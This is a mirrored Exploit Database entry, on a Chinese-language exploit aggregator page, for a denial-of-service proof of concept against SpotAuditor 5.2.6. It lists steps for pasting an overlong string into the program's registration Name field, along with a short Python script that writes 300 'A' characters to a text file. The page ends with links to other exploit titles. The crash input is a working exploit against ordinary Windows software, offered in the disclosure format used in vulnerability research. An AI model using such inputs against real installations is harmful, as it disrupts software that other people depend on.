SpotAuditor 5.2.6 – ‘Name’ Denial of Service (PoC)

Exploit Database
87 阅读

作者： Victor Mondragón

日期： 2019-04-30
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/46778/

#Exploit Title: SpotAuditor 5.2.6 - 'Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-27
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
#Tested Version: 5.2.6
#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Spotauditor_name_5.2.6.py
#2.- Open Spotauditor_name.txt and copy content to clipboard
#3.- Open SpotAuditor
#4.- Select "Register" > "Enter Registration Code..."
#5.- In "Name" paste Clipboard
#6.- In Key type "test"
#7.- Click "Ok"
#8.- Crarshed
 
cod = "\x41" * 300
 
f = open('Spotauditor_name.txt', 'w')
f.write(cod)
f.close()

last Exploits
SpotAuditor 5.2.6 – ‘Name’ Denial of Service (PoC)的更多信息

Foxit Reader 4.1.1 – Stack Overflow：
xnview 1.98.5 – Multiple Vulnerabilities：
Avast! – Integer Overflow Verifying numFonts in TTC Header：
Hacker Evolution Game: untold Mod Editor 2.00.001 – Buffer Overflow (PoC)：
MiniUPnP 1.4 – Multiple Denial of Service Vulnerabilities：
HTML Help Workshop 1.4 – Buffer Overflow (SEH) (PoC)：
Gnome Web (Epiphany) < 3.28.2.1 - Denial of Service：
GHIA CamIP 1.2 for iOS – ‘Password’ Denial of Service (PoC)：